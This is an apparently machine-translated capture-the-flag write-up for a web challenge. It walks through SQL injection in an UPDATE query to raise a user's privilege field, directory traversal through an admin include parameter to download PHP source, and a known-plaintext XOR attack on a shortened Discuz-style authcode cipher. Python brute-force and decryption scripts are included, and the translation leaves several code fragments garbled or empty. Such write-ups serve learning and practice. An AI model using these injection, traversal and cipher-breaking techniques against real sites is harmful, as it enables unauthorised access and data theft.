Among the three white hat challenges, I am Li reei. I am looking for the Han Mei Series 3 -- writeup to enter and find the index. php can be both logged on and registered. if you try admin/admin, you can log on. later, it was confirmed that others registered ..
User. php can modify the data, test the sex field can be injected, local test found that update injection and such features
#!phpupdate users set sex=[injection_here] where id = 1;
[Injection_here] in this statement. if a field name is inserted and this field exists, 1 is returned; otherwise, 0 is returned. after the http parameter is passed in, it is a string, unless otherwise required, it is not converted to a number. here, the gender is represented by 0 and 1 exactly match this condition. However, there was no result after the test for a long time. The first hint is displayed the next day. follow the prompts on the page. Access admin. php and find
#!bashYour power is too low.
So construct
#!phpupdate users set sex=1,power=1 where id = 1;
The file management option is displayed. click in to find two files. Test. php, welcome. php: click a file to find a download function. the file is http: // url/file/download. php, it is obvious that you can download files in the local directory but cannot download files. php, you cannot download files from other directories. if two consecutive decimal points or slashes are detected, illegal operations are Prompted. this is embarrassing.
Take a closer look at all the controllable parameters and find that the m parameter of admin. php is like this.
#!htmlhttp://url/admin.php?m=filemanager
I guess any file is read here, but it is not in the same directory as admin. php and does not know what the name of the current directory is. therefore, no matter the name of the current directory, it is directly transferred across directories.
#!htmlhttp://url/admin.php?m=../index
The truncation is invalid.
But I really returned to the home page, so I can download the files in the current directory, and I can include any php files. what kind of spark can be found when I combine the two files?
Guess the source code of download. php
Download. php
#! Php
Admin. php (this is downloaded later. paste it directly ..)
#!php
In this case, we only need to include download. php to change the directory restriction ~ Final payload
#!htmlhttp://url/admin.php?m=../file/download&f=admin.php
You can see that the download is complete ..
Later, I gave hint3 and downloaded flag. php (in fact, someone in the group discussed it .. I guessed this file, but later I got a hint), so I downloaded it and read it.
#!php
Authcode. php
#! Php
0 verify data validity // substr ($ result, 10, 16) = substr (md5 (substr ($ result, 26 ). $ keyb), 0, 16) verify data integrity // verify data validity. please refer to the unencrypted plaintext format if (substr ($ result, 0, 10) = 0 | substr ($ result, 0, 10)-time ()> 0) & substr ($ result, 10, 16) = substr (md5 (substr ($ result, 26 ). $ keyb), 0, 16) {return substr ($ result, 26) ;}else {return '';}} else {// Save the dynamic key in the ciphertext, this is also the reason why different ciphertext texts can be decrypted in the same plain text. // because the encrypted ciphertext may be special characters, the replication process may be lost. Base64 encoded return $ keyc. str_replace ('=', '', base64_encode ($ result) ;}?>
As for common. php, because the directory restriction cannot be crossed, it can only be included, but cannot be downloaded. it is obvious that the key is in common. php, and it is boring to find a solution.
The formation of this password book is very complicated. I barely looked at it and found that keya and keyb are basically not available. keyc can find that it is related to time, which is the first three characters of The sha256 of the current timestamp, keyc is also used for decryption, so keyc must be included in the password, otherwise it cannot be decrypted. the read-through code finds that the last ciphertext is indeed spliced with the first three digits of keyc, which is the only breakthrough.
Google discuz authcode defect, found that the implementation of the flow password IV part is too short, only four. The modified version given by the question has only three digits, so you can find a way to crack it out. because keya and keyb are fixed, you only need to make keya, keyb, if keyc is the same, the same password book can be generated. Note the test. php content
#!php
If a set of plain text is provided, you can continuously access this page to obtain the ciphertext. the first three digits are cracked. when the current three digits are the same, the keys used by the stream password are the same, the following is a simple brute-force script.
Web. py
#!pythonimport requestsurl1 = 'http://408ffe393d342329a.jie.sangebaimao.com/file/test.php'url2 = 'http://408ffe393d342329a.jie.sangebaimao.com/index.php'url3 = 'http://408ffe393d342329a.jie.sangebaimao.com/user.php's = requests.session()data = {'username':'admin','password':'admin','submit':'login'}res=s.post(url2,data=data);c=s.get(url1)while c.content[0:3]!='4da': c=s.get(url1) print c.content[0:3]print c.content
It takes about three to four minutes to obtain a qualified ciphertext. Let's look back at the key content of the encryption function in authcode. php.
#! Phpfor ($ a = $ j = $ I = 0; $ I <$ string_length; $ I ++) {$ a = ($ a + 1) % 256; $ j = ($ j + $ box [$ a]) % 256; $ tmp = $ box [$ a]; $ box [$ a] = $ box [$ j]; $ box [$ j] = $ tmp; // The Keys obtained from the key book are different or, then convert it into a character $ result. = chr (ord ($ string [$ I]) ^ ($ box [($ box [$ a] + $ box [$ j]) % 256]);}
It can be seen that each character in the ciphertext (keyc has not been spliced here) is obtained through an xor operation. The other operations of xor are fixed. Then, the plaintext can be obtained through xor twice. However, this is not enough. let's analyze the composition of the ciphertext.
#!php$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; return $keyc.str_replace('=', '', base64_encode($result));
Therefore, the target is very clear. the first three digits of the obtained ciphertext are dynamic keys, and the last 26 digits are fixed if the keys are the same. The real ciphertext starts from 29th bits, I have removed the first three digits of the ciphertext, supplemented the equal sign, and decrypted it again.
Exp. py
#!pythonimport base64flagcode='1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ=='testcode='1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg=='test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'testcode_b64decode=base64.b64decode(testcode)[26:]flagcode_b64decode=base64.b64decode(flagcode)[26:]flag=''for i in range(0,len(flagcode_b64decode)): flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))print flag
Obtain the flag.
#!bashmiao{de142af548c3b52fd754c1c29a100b67}